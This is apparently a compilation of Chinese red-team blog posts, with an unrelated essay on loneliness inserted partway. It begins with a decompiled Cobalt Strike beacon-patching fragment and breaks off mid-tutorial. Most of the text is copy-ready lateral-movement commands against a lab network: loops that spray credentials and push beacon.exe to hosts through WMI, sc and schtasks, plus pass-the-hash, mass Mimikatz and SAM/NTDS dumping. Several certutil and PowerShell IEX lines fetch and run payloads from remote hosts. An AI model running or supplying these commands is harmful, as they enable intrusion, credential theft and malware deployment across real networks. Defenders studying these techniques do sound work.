var25.addString(27, this.c2profile.getString(".http-post.verb"), 16);
var25.addInt(28, this.c2profile.shouldChunkPosts() ? 96 : 0);
var25.addInt(37, this.c2profile.getInt(".watermark"));
var25.addShort(38, this.c2profile.option(".stage.cleanup") ? 1 : 0);
var25.addShort(39, this.c2profile.exerciseCFGCaution() ? 1 : 0);
String var26 = this.listener.getHostHeader();
if (var26 != null && var26.length() != 0) {
if (Profile.usesHostBeacon(this.c2profile)) {
var25.addString(54, "", 128); //获取host的值进行赋值
} else {
var25.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128);
}
} else {
var25.addString(54, "", 128);
}

if (Profile.usesCookieBeacon(this.c2profile)) {
var25.addShort(50, 1);
} else {
var25.addShort(50, 0);
}

ProxyServer var27 = ProxyServer.parse(this.listener.getProxyString());
var27.setup(var25);
this.setupKillDate(var25);
this.setupGargle(var25, var5);
(new ProcessInject(this.c2profile)).apply(var25);
byte[] var28 = var25.toPatch();
var28 = beacon_obfuscate(var28);
String var29 = CommonUtils.bString(var8);
int var30 = var29.indexOf("AAAABBBBCCCCDDDDEEEEFFFF"); //找到AAAABBBBCCCCDDDDEEEEFFFF的位置
var29 = CommonUtils.replaceAt(var29, CommonUtils.bString(var28), var30); //将模板的内容进行替换
return CommonUtils.toBytes(var29); //返回替换后的结果
} catch (IOException var31) {
MudgeSanity.logException("export Beacon stage: " + var5, var31, false);
return new byte[0];
}
}

​ 简单的分析后我们发现这段代码的主要作用是读取beacon.dll文件,以这个文件作为模板对一些值进行替换,并且是以找到AAAABBBBCCCCDDDDEEEEFFFF来找到要替换的位置的,但是比较奇怪的是我再beacon.dll中并没有发现AAAABBBBCCCCDDDDEEEEFFFF这个字符串。

image-20200901154145081

​ 后面根据不同的类型的类型,调用patchArtifact方法,虽然使用的模板不同,最终还是会有4个a的特征,不过可能使用这种方式的模板比较大,因此不会有大写A这种特征。因为本身替代Stager那部分比如beacon.dll的文件内容就比较大,有200多k。

image-20200901154601816

总结

​ 总结一下这几种生成方式的过程和一些区别

  • payload generator只是加载stager模板并且对里面host,port和uri部分进行替换,最终生成的文件只是将stager文件以字节数组的形式进行输出
  • windows executable首先生成stager,这个stager可能非常小,再去替换模板文件中出现1024个A的地址,这种方式由于stager比较小,而且在模板插入stager之前会写入4个a,因此可以把出现4个a和a出现后的1024字节内出现多个A为特征进行检测
  • windows executables这种方式不会再去生成stager而是使用其他的方式进行替换,而替换stager的部分模板文件过大,因此会在插入的开始出现4个a但是不会出现多个A。

参考文章

从剖析CS木马生成到开发免杀工具

​ 之前的学习中我们了解了关于横向移动的方式,当我们知道了这些方式,下一步当然是想要去提高速度,在这篇文章中我将带着大家学习如何来批量上线内网主机。

环境说明

192.168.3.* 为仅主机模式的网段

192.168.5.*为nat模式的网段

1
2
3
OWA2013 192.168.3.144 192.168.5.58   边界机
SRV-WEB-KIT 192.168.3.73 内网断网机
PC-JERRY-KIT 192.168.3.75 192.168.5.59 内网出网机

WMI

​ 我们首先学习一下如何使用WMI来批量上线内网主机

​ 当我们获取了某个主机的密码,我们想测试是否有内网主机和这个主机的密码相同,首先需要扫描内网那些主机开放了445端口。

image-20200831135507642

​ 得到这些开放445端口的ip后,我们将这些ip写到一个文件中

1
2
shell echo 192.168.3.73 >> c:\windows\temp\host.txt
shell echo 192.168.3.75 >> c:\windows\temp\host.txt

​ 除了上面这种方式,当然也可以将host.txt在本地写好再上传到边界主机上。

​ 当我们得到哪些主机开放了445端口以后,我们想测试我们得到的密码在哪些主机上是相同的,可以使用net use建立ipc连接来进行测试

1
shell for /f %i in (c:\windows\temp\host.txt) do net use \\%i\admin$ /user:"administrator" "xxxx" && if %errorlevel% equ 0 ( echo %i >> c:\windows\temp\login_succeed.txt ) && net use \\%i\admin$ /del

image-20200831140152324

​ 然后我们准备生成一个shell,再通过wmi来执行达到批量上线的目的。shell生成最好生成pivot listener,因为我们并不能确定内网主机是否能出外网

image-20200831140743070

image-20200831140845228

image-20200831140914981

​ 生成好以后将生成的beacon.exe上传到边界主机

image-20200831141039574

​ 使用wmic执行beacon.exe批量上线

1
shell for /f %i in (c:\windows\temp\login_succeed.txt) do net use \\%i\admin$ /user:"administrator" "xxx" && copy C:\windows\temp\beacon.exe \\%i\admin$\temp\ && wmic /node:%i /user:administrator /password:xxx PROCESS call create "\\%i\admin$\temp\beacon.exe" && net use \\%i\admin$ /del

image-20200831142003540

image-20200831142030428

psexec

​ 在cobaltstrike中,内置了可以通过jump psexec来进行横向渗透的方法,这种方法我们既可以通过建立pivot listener来批量上线,也可以通过使用smb beacon来执行上线。下面我以smb beacon为例来演示下如何通过jump psexec来批量上线内网断网主机。
​ 要使用smb beacon来上线,首先要创建一个smb类型的listener

image-20200831144047330

​ 选择target,按住shift选中我们想要上线的几个目标。

image-20200831144139103

image-20200831144237104

​ 选择psexec模块,listener选择我们创建的smb listener

image-20200831144319681

​ 选择lauch后,CS执行的操作如下

image-20200831144519451

​ 同时两台内网的主机上线,因为用的是psexec的方式,所以是通过rundll32来执行上线的

image-20200831144603432

​ 这里对比一下WMI批量上线,我们可以发现使用WMI上线后的权限为当前用户的权限,而使用psexec上线后的权限为system权限。

​ 最后我们再测试下使用psexec的这种上线方式能不能通过hash传递来利用,其他的步骤是一样的,只有在传递密码时输入变成了hash

image-20200831145220858

​ CobaltStrike执行的操作如下

image-20200831145543919

​ 执行后也可以上线

image-20200831152157468

​ 这里有一个小插曲,就是我第一次使用hash传递上线这两台主机时发现只有192.168.3.73这台主机上线,而win10 192.168.3.75没有上线,然后我是用impacket的psexec利用hash传递进行测试,发现无法使用administrator连接,但是我用net use 连接administrator账户又是正常的,经过排错,我发现是因为administrator账户是禁用状态导致的,启用后即可正常执行。

image-20200831152344500

​ 这里也说明了一个问题,就是即使一个账户是禁用的,在我们知道账号密码的情况下,也是可以通过net use来连接的,但是无法通过pth来连接并且利用。

service

​ 既然要在cobaltstrike通过service来进行批量上线的操作,首先需要生成一个service类型的shell,其次我们需要将这个shell上传到内网主机执行来上线。

​ 首先在目标边界主机上创建一个pivot类型的listener

image-20200831154146904

​ 创建时候注意在host选择边界机内网所对应的ip,这个一定要注意,否则是上线不了断网主机的。

image-20200831154317379

​ 生成一个Stageless,listener选择我们创建的listener,输出类型选择service类型

image-20200831154448333

​ 将生成的文件上传到边界主机上

image-20200831154713116

​ 使用sc来批量上线,至于login_success.txt那个文件怎么来的,参考WMI利用的那种方式

1
shell for /f %i in (c:\windows\temp\login_succeed.txt) do net use \\%i\admin$ /user:"administrator" "Admin123456" && copy C:\windows\temp\beacon.exe \\%i\admin$\temp\ && sc \\%i create xxxxxxxxxxxxxxxxxxxxxxxx binpath= "c:\windows\temp\beacon.exe"  && sc \\%i start xxxxxxxxxxxxxxxxxxxxxxxx && net use \\%i\admin$ /del

image-20200831155355171

​ 使用完以后,记得要将这个服务删除

1
shell for /f %i in (c:\windows\temp\login_succeed.txt) do net use \\%i\admin$ /user:"administrator" "Admin123456" && copy C:\windows\temp\beacon.exe \\%i\admin$\temp\ && sc \\%i delete xxxxxxxxxxxxxxxxxxxxxxxx && net use \\%i\admin$ /del

image-20200831155845466

计划任务

​ 我们也可以使用计划任务来批量横向渗透,至于前面生成shell的过程就不演示了,我们这里还是考虑目标主机是断网的一个状态,所以还是要创建一个pivot listener,生成一个Stageless类型的shell,上传到目标边界主机。使用如下命令来创建并执行计划任务上线

1
shell for /f %i in (c:\windows\temp\login_succeed.txt) do net use \\%i\admin$ /user:"administrator" "xxxxx" && copy C:\windows\temp\beacon.exe \\%i\admin$\temp\ && schtasks /create /s %i /u "administrator" /p "xxxxx" /RL HIGHEST /F /tn "xxxxxxxxxxx" /tr "c:\windows\temp\beacon.exe" /sc DAILY /mo 1 /ST 11:06 && schtasks /run /tn xxxxxxxxxxx /s %i /U " administrator" /P "xxxxx" && schtasks /query /s %i /U "administrator" /P "xxxxx" | findstr "xxxxxxxxxxx" && schtasks /delete /F /tn xxxxxxxxxxx /s %i /U " administrator" /P "xxxxx" && net use \\%i\admin$ /del

image-20200831165538229

使用计划任务有一个限制,就是我们启动计划任务的用户必须是在线的状态,如果是注销状态或者其他没有登录的状态,则无法正常上线。

总结

​ 通过上面的学习总结,我们发现仅仅依托cobaltstrike再加上几条命令,即可完成批量上线内网断网主机的目的,需要注意的是使用service来批量横向生成的shell类型要使用service类型,计划任务上线需要目标用户处于登录状态。

​ 在进行内网横向移动的过程中我们可能经常会遇到这样的情况,目标内网中的其他主机不出外网,那么我们使用cs直接生成的reverse shell就没有办法使目标内网中的”断网”主机上线,今天我就和大家一起学习如何上线内网的”断网”主机。

环境准备

1
2
OWA2013:192.168.3.144 192.168.5.55   模拟边界机192.168.5.*这个网段使用nat模式,192.168.3.*使用仅主机模式
ser-web:192.168.3.73 模拟内网断网机

Pivot listener

建立Pivot listener

​ 首先让边界主机OWA2013上线,上线后对着边界机右键,选择pivoting->Listener

image-20200828180723949

​ 配置过程中需要注意,这里的Listen host要选择和内网主机所在一个段所对应的ip,我这里是192.168.3.144

image-20200828180840537

image-20200828181006859

​ Pivot listener生成好以后,选择Packages->windows executalbe(s)

image-20200828181100073

​ 配置过程中Listener选择我们刚生成的Pivot listener

image-20200828181152418

​ 假设我们这里已经拿到了内网断网主机的密码,使用ipc进行连接。

image-20200828181857058

​ 在文件管理这里将生成的文件上传到断网主机

image-20200828182328347

​ 使用remote exec wmi模块去执行上传的exe

image-20200828182839924

​ 目标主机上线,这里有一个小点需要注意,就是上线的这台断网机只要我们不进行交互默认的last时间就是一直增长的,这里不需要管这个超时时间的问题,需要的时候执行命令就可以了

image-20200828182918650

image-20200828183126947

smb beacon

什么是smb beacon?

​ SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。 因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。

什么是命名管道?

​ “命名管道” 又名 “命名管线”,但是通常都叫命名管道,是一种简单基于 SMB 协议的进程间通信(Internet Process Connection - IPC)机制。 在计算机编程里,命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信传输。和一般的管道不同,命名管道可以被不同进程以不同的方式方法调用(可以跨语言、跨平台)。只要程序知道命名管道的名字,任何进程都可以通过该名字打开管道的另一端,根据给定的权限和服务器进程通信。

命名规范
命名管道的命名是采用的 UNC 格式:\Server\Pipe[Path]Name 的。

第一部分\Server指定了服务器的名字,命名管道服务即在此服务器创建,其字符串部分可表示为一个小数点(表示本机)、星号(当前网络字段)、域名或是一个真正的服务;第二部分 pipe 是一个不可变化的硬编码字串,以指出该文件是从属于 NTFS;第三部分[Path]Name则使应用程序可以唯一定义及标识一个命名管道的名字,而且可以设置多级目录。

image-20200831103821108

利用条件

  • 目标开放445端口
  • 得知目标主机账号密码并建立ipc连接

如何使用smb beacon

​ 首先我们创建一个smb的listener

image-20200831101527143

​ 我们再通过ipc和内网的断网主机192.168.3.73建立连接

image-20200831101635873

​ 建立连接后通过jump命令来让192.168.3.73这台断网主机上线

1
jump psexec 192.168.3.73 smb

image-20200831101807854

image-20200831101834919

​ 上线后根据自己的需要执行对应的操作即可

image-20200831101901136

​ 当使用结束后,可以使用unlink命令取消和该内网主机的连接

1
unlink 192.168.3.73

image-20200831102021398

​ 当想再次让该断网主机上线,使用link命令连接即可

1
link 192.168.3.73

image-20200831102234598

Pivot listener和smb beacon在使用上的区别

  • 使用pivot listener可以使用生成executables来上线,也可以使用jumpexec的方式上线

    ​ 首先创建一个pivot listener test666

    image-20200831114634920

    ​ 配置这里还是要注意应该选择和断网机所在一个C段的ip,我这里是192.168.3.144

image-20200831114730991

​ 使用ipc和目标主机建立连接,使用jump psexec来让目标主机上线,test666为刚刚创建的pivote listener的名字

image-20200831115052331

​ 成功上线

image-20200831115201232

  • 使用smb beacon可以使用jumpexec的方式上线,但不能使用生成executables来上线

Attacks->packages->windows executable(s),listener选择smb

image-20200831112921031

​ 将生成的文件上传到目标主机

image-20200831113055853

​ 使用remote-exec来执行beacon.exe

image-20200831114043504

​ 目标主机成功执行beacon.exe,但是并不能上线

image-20200831114118504

总结

​ 最后我总结一下这两种上线方式的使用区别

  • pivot listener主要使用端口转发的方式来上线断网主机,这种方式会在我们的边界主机上开放一个端口,如果目标内网存在防火墙,则有可能无法使用这种方式来进行横向移动,但是使用这种方式既可以使用生成exe并执行的方式来上线,也可以使用psexec的方式来上线断网机。
  • 使用smb beacon仅仅需要可以和目标的445端口进行通信即可,不需要额外开启其他端口,并且使用smb上线可以规避防火墙。但是这种方式不能使用生成exe并执行的方式上线,只能通过使用psexec的方式上线。

参考文章

Cobaltstrike SMB beacon(命名管道相关知识)

CS 4.0 SMB Beacon

​ 通过上篇文章我们了解了关于内网横向移动的常用方法,但是实战中去使用这些方法往往效率比较低,并且已经有很多大佬发现了这一点并且针对于每种横向移动的方法写出了横向移动的套件。熟悉这些横向移动套件的使用有助于提高我们渗透的速度。因此学习大佬们横向移动套件的使用是非常有必要的,下面我将和大家一起学习关于内网横向移动套件的使用。

Crackmapexec

​ Crackmapexec是一款由python开发的横向移动利用工具,网上也有人打包好了它的windows版本,这个是2.x版本的打包,虽然版本比较旧,但是基本的功能都有了

​ 在横向移动之前,可以去扫描开放445端口的主机

1
crackmapexec.exe 192.168.3.0/24

image-20200827105034304

查看主机的共享

1
crackmapexec.exe host.txt -t 1 -u administrator -p Admin123456 --share

image-20200827105808677

查看当前主机的用户

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt --users

image-20200827111211507

主机都有什么盘

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt --disk

image-20200827111346074

批量smb爆破

​ 首先我们先扫描那些主机开放了445端口,再将开放445的ip保存到一个txt中,使用下面的命令进行爆破。

1
crackmapexec.exe -d . -u administrator -p xxxx -t 10 host.txt

image-20200826193844481

爬取用户目录下包含某个关键字的文件名

1
crackmapexec.exe -d . -u administrator -p xxx -t 1 host.txt  --spider Users --depth 10 --pattern username

image-20200827120109187

批量hash传递

1
crackmapexec.exe -d . -u administrator -H xxx:xxxx -t 10 host.txt

image-20200826194130572

批量文件操作

​ 批量上传文件

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt  --upload C:\Users\xxx\Desktop\SharpMove.exe  \\Windows\\Temp\\whoami.exe

image-20200827134605698

image-20200827134523163

​ 批量查看文件

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 host.txt  --list \\Windows\\Temp\\

image-20200827134847632

​ 下载文件

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 192.168.3.144  --download \\Windows\\Temp\\

image-20200827135107554

批量执行命令

​ 通过smbexec批量执行命令

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 host.txt --execm smbexec -x "whoami /user"

image-20200826194639115

​ 通过smbexec远程加载powershell上线

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 host.txt --execm smbexec -x "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xxxx:8011/a111'))\""

image-20200827114124144

image-20200827114139359

​ 通过wmi批量执行命令

1
crackmapexec.exe -d rootkit -u administrator -p xxxx -t 1 host.txt --execm wmi -x "whoami /user"

image-20200826194904286

​ 通过atexec批量hash传递执行命令

1
crackmapexec.exe -d . -u administrator -H xxx:xxx -t 1 192.168.3.11 --execm atexec -x "whoami /user"

image-20200826202039799

批量抓密码

​ 使用wmi加载远程powershell脚本批量抓密码

1
crackmapexec.exe -d . -u administrator -H xxx:xx -t 1 host.txt --execm wmi -X "IEX (New-Object Net.WebClient).DownloadString('http://111.229.70.13:801/Invoke-Mimidogz.ps1');Invoke-Mimidogz"

image-20200826202829550

​ 调用Invoke-Mimikatz.ps1批量抓密码

1
crackmapexec.exe -d . -u administrator -H aad3b435b51404eeaad3b435b51404ee:ae4c0d5fb959fda8f4cb1d14a8376af4 -t 1 host.txt --mimikatz

image-20200827093343519

批量dump hash

1
crackmapexec.exe -d . -u administrator -H xxxx:xxxx -t 1 --sam  host.txt

image-20200826203436519

远程导出域控中所有的hash

​ 这个过程比较慢,不建议在实际中使用

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 192.168.3.144 --ntds vss

image-20200827093924405

搜集GPP密码

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 host.txt --gpp-passwords

image-20200827094518023

​ 其他的利用方法可以参考官方文档

Impacket

​ Impacket是用于处理网络协议的Python类的集合。我们除了可以使用python版本,也可以使用别人打包好的windows版本进行利用。这个打包的稍微旧了一点,不过大部分的功能已经打包好了,还有比较新的打包版本,下面我介绍下它在横向渗透中常用的功能。

atexec

​ 通过计划任务执行命令,默认以system权限执行命令

1
atexec.exe ./administrator:xxx@192.168.3.144 "whoami /user"

image-20200827161851281

​ 也可以使用PTH的方式执行、

1
atexec.exe -hashes :xxxx ./administrator@192.168.3.144 "whoami /user"

image-20200827162051117

DCOM

​ 使用这种方式,默认以administrator权限执行命令,也可以获取交互shell

1
dcomexec.exe ./administrator:xxx@192.168.3.11 "whoami /user"

image-20200827170845398

1
dcomexec.exe ./administrator:xxx@192.168.3.144

image-20200827181250651

​ 也可以通过hash传递来运行

1
dcomexec.exe -hashes :xxxx ./administrator@192.168.3.11 "whoami /user"

image-20200827171222916

SMB

​ 通过smbexec可以直接获取交互的shell,shell权限也是system权限,但无法执行直接执行cmd命令,因此不适合在shell下进行操作。

1
smbexec.exe ./administrator:xxx@192.168.3.144

image-20200827171503784

1
smbexec.exe -hashes :xxx ./administrator@192.168.3.144

image-20200827171909815

psexec

​ 使用psexec会在目标系统创建服务,返回权限为system权限

1
psexec.exe -hashes :xxx ./administrator@192.168.3.51

image-20200827172249787

​ 也可以使用psexec执行系统命令

1
psexec.exe ./administrator:xxx@192.168.3.144 "whoami"

image-20200827172609121

​ 也可以直接利用psexec上传文件并且执行

1
psexec.exe ./administrator:xxx@192.168.3.144 -c C:\Users\jerry\Desktop\artifact.exe

image-20200827173702596

image-20200827173725431

​ 这个过程可能会在命令行下出现卡顿,这个不要紧,当我们把弹过来的shell使用完后退出后即可恢复正常,强行关闭命令行会导致创建的服务不能删除。

WMI

​ 使用wmiexec进行横向移动,既可以获取交互shell也可以执行命令,也可以进行PTH

1
wmiexec.exe ./administrator:xxx@192.168.3.144

image-20200827174532234

1
wmiexec.exe ./administrator:xxx@192.168.3.144 "whoami"

image-20200827175007031

1
wmiexec.exe -hashes :xxxx ./administrator@192.168.3.144

image-20200827175129269

​ 关于impacket常见的横向渗透的方法先介绍这么多,我写个表格对各种横向渗透的方式进行简单的对比

image-20200827181506980

SharpExec

​ SharpExec是一个C#编写的集合了WMIExec,SMBExec,PSExec等常见横向渗透方法的工具。由于这个工具不是很有名,所以可能免杀稍微好一点(我猜的)。

1、psexec

​ 首先生成一个service类型的shell,放在本地,使用如下命令将上传本地文件到远程服务器并执行

1
SharpExec.exe -m=psexec -i=192.168.3.144 -u=Administrator -p=Admin123456 -d=. -f=C:\Users\jerry\Desktop\artifact.exe -e=c:\artifact.exe

image-20200827204927302

​ 执行后会返回system权限的shell

image-20200827204958764

​ 当我们执行结束后,将shell退出,再按回车程序会自动将上传的文件删掉。

image-20200827205258375

2、wmi

​ 这个工具也集成了使用wmi来进行文件上传并且执行的功能,不过这里我们就生成普通的shell即可,不用生成service类型的shell,但生成的shell与系统版本要对应。执行后可以获取administrator权限的shell。

1
SharpExec.exe -m=wmi -i=192.168.3.144 -u=Administrator -p=xxx -d=. -f=C:\Users\jerry\Desktop\artifact.exe -e=c:\artifact.exe

image-20200828092336716

image-20200828092404709

3、wmiexec

​ 通过wmiexec可以获取半交互的shell,在shell中除了可以进行常规的命令操作,也可以对文件进行操作。

1
SharpExec.exe -m=wmiexec -i=192.168.3.144 -u=Administrator -p=xxx -d=.

image-20200828094503678

​ 通过put命令进行文件上传

1
put C:\Users\jerry\Desktop\artifact.exe artifact.exe

image-20200828094720655

​ 也可以进行文件下载操作

1
get artifact.exe C:\Users\jerry\Desktop\test666.exe

image-20200828095837635

​ 最后输入exit即可退出shell,这里需要注意,如果我们在shell中运行了CS生成的马,在马没有退出的情况下,可能再使用wmiexec会出现异常,只要退出这个马就好了。

4、smbexec

​ 使用smbexec和wmiexec功能上类型,获取的半交互shell是system权限。

image-20200828100431041

​ 也可以进行文件上传下载等操作。

1
put C:\Users\jerry\Desktop\artifact.exe c:\artifact.exe

image-20200828100629652

1
get c:\artifact.exe C:\Users\jerry\Desktop\tes888.exe

image-20200828100822447

​ 这款工具的功能先介绍这么多,他所集成的横向移动的方式并不多,但是对比impacet和crackmapexec,它主要再文件操作这部分进行了一些优化,可以很方便的去上传并且执行我们的shell

​ 更详细的介绍请参考作者博客

CobaltStrike

​ CobaltStrike自身内置了部分横向移动的模块,下面我将带着大家一起学习CobaltStrike内置的横向移动模块的使用。

1、psexec

​ 当我们获取目标边界机的管理员权限时,可以通过psexec的方法进行横向移动,具体配置如下:

​ 点击target-》对想要横向移动的目标右键选择psexec

image-20200828110435271

​ 配置好账号密码和session以及listener后选择launch

image-20200828110805427

​ 执行后我们可以看到,CobaltStrike生成了一个service类型的shell并且在目标主机执行

image-20200828111216157

​ 获取权限后,我们查看目标主机的进程,可以看到CobaltStrike是通过rundll32来执行的

image-20200828111534458

​ 因此如果在进程中有以system权限起的没有参数的rundll32进程,则有可能是通过CobaltStrike的psexec功能来进行横向移动。

2、psexec_psh

​ 使用psexec_psh方式进行横向移动操作过程和psexec类似

image-20200828113904782

​ 获取权限后,我们查看目标主机的进程,可以看到CobaltStrike是通过powershell来执行的

image-20200828114117604

​ 根据这篇博客的介绍,CobaltStrike会创建一个powershell的脚本,该脚本将对内存中运行的嵌入式有效载荷进行base64编码,并将其压缩为单行格式,连接到ADMIN $或C $ share并运行PowerShell命令。

3、SC

​ 使用这种方式进行横向移动,CobaltStrike并没有提供这种横向移动的方式,不过我们还是可以通过命令行的方式来进行横向移动。

​ 首先生成一个serivce类型的shell,将生成的文件上传的边界服务器。

image-20200828115222147

​ 再与目标主机建立ipc连接

1
2
shell net use \\192.168.3.144\C$ "xxx" /user:"Administrator"
shell net use

image-20200828115358559

​ 通过文件拷贝命令将生成的services.exe拷贝到目标主机

1
shell copy services.exe \\192.168.3.144\C$\windows\temp

image-20200828115522488

1
2
shell sc \\192.168.3.144 create xxxxx binpath= "c:\windows\temp\services.exe"
shell sc \\192.168.3.144 start xxxxx

image-20200828133951366

4、Remote-exec

​ 在cobaltstrike中,使用remote-exec module target command+args来尝试在远程目标主机上运行特定的程序。

(1)psexec

​ 首先生成一个service类型的exe,上传到目标主机

image-20200828140744823

1
remote-exec psexec \\192.168.3.144 c:\windows\temp\services.exe

image-20200828141119157

image-20200828141146963

(2)WMI

​ 使用CS生成一个exe上传到目标主机,通过remote-exec的wmi模块运行

1
remote-exec wmi 192.168.3.144 C:\windows\temp\artifact.exe

image-20200828141501441

image-20200828141509268

5、SCHTASKS

​ 同样cobaltstrike中没有集成schtasks模块,不过我们仍然可以手工运行,首先生成一个shell,将shell上传到目标服务器,使用下面的命令创建计划任务

1
2
3
 shell schtasks /create /s 192.168.3.144 /u "administrator" /p "xxxx" /RL HIGHEST /F /tn "windowstest666" /tr "c:\windows\temp\artifact.exe" /sc DAILY /mo 1 /ST 00:00
shell schtasks /run /tn windowstest666 /s 192.168.3.144 /U " administrator" /P "xxxx"
shell schtasks /F /delete /tn windowstest666 /s 192.168.3.144 /U " administrator" /P "xxxx"

image-20200828154502358

总结

​ 通过对这些横向渗透的工具的学习,我们可以发现Crackmapexec主要使用在做批量操作时使用,impacket有很多针对不同协议进行横向移动的套件,SharpExec适合对文件操作比较好,CobaltStrike虽然横向的方式不是很多,不过针对我们也可以配合一些命令去执行。

参考文章

知识星球-红队攻防揭秘

Crackmapexec

CrackMapExec - Ultimate Guide

SharpExec-您最喜欢的.NET Bling的横向运动

进攻性横向移动

**孤独是一个人的狂欢**

​ 当我们越来越长大,走出了学校,走到了社会,开始参加了工作,或许我们也有些许的朋友在这个城市,或许我们也有同事可以交流,可是每到晚上回到自己的小房间,每到周末呆在房间里,没有来会有一种空虚的感觉,可能这只是我个人的感觉,不过可能在大城市工作的很多人,也有类似的感觉,我们感到空虚,孤独,可能并不一定是因为我们一个人,没有人陪伴,可能只是由于我们有了很多独自与自己相处的时间,但我们不习惯和自己相处,所以才会产生某种难以排解的苦闷。

什么是孤独?

百度词条如下:

​ 孤独是一种主观自觉与他人或社会隔离与疏远的感觉和体验,而非客观状态; 是一个人生存空间和生存状态的自我封闭,孤独的人会脱离社会群体而生活在一种消极的状态之中。

​ 首先看前半段百度对于孤独的解释,它是一种感觉。再看第二句话,它是人生存空间或者状态的自我封闭。最后孤独会使人脱离群体并且让人消极的对待生活。

为什么会孤独?

​ 看完了百度对于孤独的解释,我们就不难理解,为什么我们很多年轻人到了大城市会时常感到孤独了。首先,在之前的生活轨迹中,我们一般很少有机会一个人在一个空间里。比如在小学,初中,高中,我们上学可能和同学一起走,放学后有家长陪伴,即使是寄宿在学校,也像上大学一样,也是几个人居住在一起的,那些时候我们可能比较少一个人在一个空间中。但是到了毕业工作以后,我们在下班以后,基本都是一个人生活在一个小房间里,再加上外卖的普及,周末甚至可以两天都不用出门,一个人呆在房间里。这就满足了一个条件,就是人的生存空间自我封闭。

​ 关于为什么会孤独,至少在在大城市工作以后为什么容易感到孤独我有一些自己的理解。我认为之所以我们在工作后会感到孤独,主要是因为在之前的人生轨迹中,我们基本都是有人陪伴的,因此有比较和自己相处的时间会比较少,所以我们很多人包括我自己可能缺乏和自己相处的能力,正是因为缺乏这种能力,才会导致我们在房间独自一个人生活感到无所适从,就容易产生孤独这种感觉。

如何面对孤独?

​ 既然是因为我们一个人在家里容易出现孤独的情绪,那么是不是我们只要一到周末就出去玩就不会感觉到孤独呢?这个办法比较容易理解,当我们忙起来的时候,可能就不会有时间去感受所谓孤独这种情绪,自然不会感觉到孤独,这确实是一种好办法,不过我认为也不可取,因为当我们一个人的时候,才有时间去思考很多问题,如果我们用把自己个人时间全部填满的方式去排解孤独,那我们无疑也放弃了去思考问题的时间,这些思考的时间可以帮助我们对接下来的生活进行规划,让我们更好的面对生活。因此应该给自己留一部分时间去独处。

​ 首先对于孤独这种感觉我们应该以一个比较平常的心态去面对它。要知道我们从出生的时候就是一个人的,即便是关系最为亲密的人也不可能在每时每刻都在我们身边,所以我们总是要一个人去面对生活的,这个是没有办法摆脱的,既然无法摆脱,我们只能和解。

​ 至于如何面对独处的时间,我认为可以从以下几点开始

  • 做自己喜欢的事情,比如:弹琴,画画,写写东西等等

  • 读书,读书可以让我们在很短的时间中体会别人的生活

  • 运动,保持一个好的身体

  • 学习,提升个人价值和能力

    ​ 当我们通过某些方式去利用独处的时间,我们甚至可能会喜欢甚至享受这段时间。

​ 当我们进入内网后,并且对当前主机的各种信息已经搜集完毕,接下来就到了最有意思的环节,横向移动。在这个环节,我们可以通过我们的操作获取多台主机的权限,本文将总结内网横向渗透中常用的姿势。

WMI

什么是WMI?

​ WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。

为什么要使用WMI?

​ 使用WMI进行横向移动,默认不会留下系统日志,并且脚本无需写入磁盘,具有隐蔽性。

如何使用WMI?

​ 对于WMI的利用,可以使用windows自带的wmic命令来执行各种操作

1
wmic process list brief 列出进程信息

image-20200823225302723

1
wmic process call create "calc.exe"  创建进程

image-20200823230056479

1
wmic useraccount list brief 列出当前账户信息

image-20200823230213681

1
wmic startup get command,caption 获取启动项中的信息

image-20200823230935974

1
2
3
wmic service list brief 查看启动的服务
wmic service where "name='AppXSvc'" call startservice 启动某个服务
wmic service where "name='AppXSvc'" call stopservice 停止某个服务

image-20200823231132116

image-20200823231144901

image-20200823231202869

1
wmic qfe list brief  查看补丁

image-20200823231301814

1
wmic ntdomain list brief 获取域控信息

image-20200823231626975

1
wmic product get name,version 获取安装的软件,获取的不一定全

image-20200823231739063

WMI横向渗透条件?

  • 开启WMIC默认管理端口135端口
  • 拥有管理员权限

WMI横向渗透利用

1、使用WMIC利用

1
wmic /node:192.168.3.144 /user:administrator /password:Admin12345 PROCESS call create "cmd.exe /c ipconfig > c:\windows\temp\result.txt"

image-20200823234153636

使用WMIC进行横向渗透是无法获取回显的,因此可以通过建立IPC连接,通过IPC读取执行结果。

1
type \\192.168.3.144\c$\windows\temp\result.txt

image-20200823234529203

使用WMIC执行exe上线

1
wmic /node:192.168.3.144 /user:administrator /password:"xxx" PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.3.99/beacon.exe c:/windows/temp/windwn.exe & c:/windows/temp/windwn.exe & certutil.exe -urlcache -split -f http://192.168.3.99/beacon.exe delete"

image-20200824095347428

使用WMIC执行powershell上线

1
wmic /NODE:192.168.3.144 /user:"administrator" /password:"xxx" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.99/beacon.ps1');\""

image-20200824100644862

使用WMIC修改注册表权限维持

​ 首先将我们生成的马放到边界主机上,使用IPC将马移动到目标主机

1
net use \\192.168.3.144\admin$ /user:"administrator" "xxx" & xcopy C:\Users\jerry\Desktop\artifact.exe \\192.168.3.144\admin$\temp & net use \\192.168.3.144\admin$ /del

image-20200824101718854

​ 操作注册表,将文件写入到启动项中

1
